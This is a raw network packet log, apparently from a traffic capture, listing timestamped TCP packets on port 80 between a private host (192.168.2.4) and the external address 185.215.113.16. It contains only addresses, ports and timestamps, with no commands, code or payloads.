Oct 31, 2024 04:15:16.631779909 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631784916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631792068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631809950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631841898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631858110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631869078 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631880045 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.631906986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.631922960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632005930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632015944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632040024 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632050991 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632054090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632108927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632170916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632183075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632193089 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632205009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632215023 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632216930 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632241964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632257938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632276058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632294893 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632379055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632390976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632400990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632415056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632438898 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632505894 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632607937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632618904 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632628918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632656097 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632678032 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632729053 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632740974 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632750034 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632761955 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632775068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632798910 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632857084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632868052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632879972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.632900953 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.632997990 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.633008957 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.633018970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.633030891 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.633034945 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.633043051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.633059978 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.633069038 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.653819084 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.653844118 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.653855085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.653887987 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.653985977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.653997898 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654007912 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654019117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654031992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654069901 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654083014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654118061 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654134989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654145956 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654177904 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654241085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654253006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654263973 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654305935 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654326916 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654337883 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654347897 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654360056 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654360056 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654386044 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654421091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654431105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654449940 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654452085 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654479980 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654515028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654525995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654561996 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654567003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654578924 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654675961 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654705048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654717922 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654727936 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654784918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654795885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654805899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654808998 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654830933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654848099 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.654876947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654949903 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654961109 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.654993057 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655004025 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655014992 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655054092 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655077934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655090094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655118942 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655127048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655162096 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655183077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655194998 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655226946 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655301094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655317068 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655329943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655350924 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655411005 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655422926 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655431986 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655443907 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655450106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655479908 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655498981 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655522108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655529976 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655599117 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655611038 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655677080 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655687094 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655698061 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655699968 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655725956 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655738115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655755997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655807972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655818939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655852079 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.655936003 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655946016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655956030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655966997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.655975103 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656002045 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656094074 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656105042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656114101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656125069 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656137943 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656137943 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656156063 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656176090 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656260014 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656306982 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656317949 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656343937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.656364918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656377077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.656399965 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.671758890 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671770096 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671787977 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671798944 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671809912 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.671811104 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671835899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671847105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671855927 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.671875954 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.671890974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686665058 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686678886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686690092 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686702967 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686705112 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686717033 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686728001 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686728954 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686760902 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686805964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686819077 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686877966 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686903000 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686914921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686942101 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686947107 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.686954975 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686965942 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.686981916 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687010050 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687071085 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687083006 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687093019 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687117100 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687149048 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687181950 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687206030 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687216997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687227964 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687237978 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687257051 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687267065 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687308073 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687365055 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687376976 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687411070 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687432051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687443972 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687463999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687549114 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687560081 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687572002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687582970 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687593937 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687593937 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687601089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687621117 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687705040 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687716961 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687722921 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687743902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687760115 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687776089 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687854052 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687864065 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687872887 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687885046 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687896013 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687901974 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687939882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.687947989 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.687988997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688015938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688025951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688044071 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688056946 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688067913 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688069105 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688081026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688090086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688114882 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688153028 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688163042 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688174963 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688210964 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688215971 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688226938 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688237906 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688261986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688280106 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688396931 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688410044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688421965 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688432932 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688443899 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688448906 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688457012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.688462973 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.688492060 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.689536095 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.731374979 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.731386900 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.731420040 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.817656994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817692041 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817729950 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817774057 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.817801952 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817835093 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817842007 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.817867994 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817902088 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.817946911 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.817953110 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818001986 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818002939 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818051100 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818084002 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818095922 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818118095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818149090 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818165064 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818166018 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818178892 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818191051 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818202019 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818237066 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818408012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818418980 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818428993 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818443060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818453074 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818454027 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818466902 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818478107 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818480015 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818489075 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818500996 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818511009 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818514109 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818525076 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818536997 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818552971 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818675995 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818689108 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818782091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818794012 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818804026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818813086 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818815947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818821907 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818829060 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818841934 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818841934 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818870068 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818877935 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818890095 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818902016 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818912983 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818922997 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818934917 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818938017 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818945885 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.818945885 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818958044 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.818994999 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819334984 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819345951 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819356918 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819367886 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819375992 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819379091 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819390059 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819401026 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819402933 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819412947 CET	80	49738	185.215.113.16	192.168.2.4
Oct 31, 2024 04:15:16.819422960 CET	49738	80	192.168.2.4	185.215.113.16
Oct 31, 2024 04:15:16.819425106 CET	80	49738	185.215.113.16	192.168.2.4
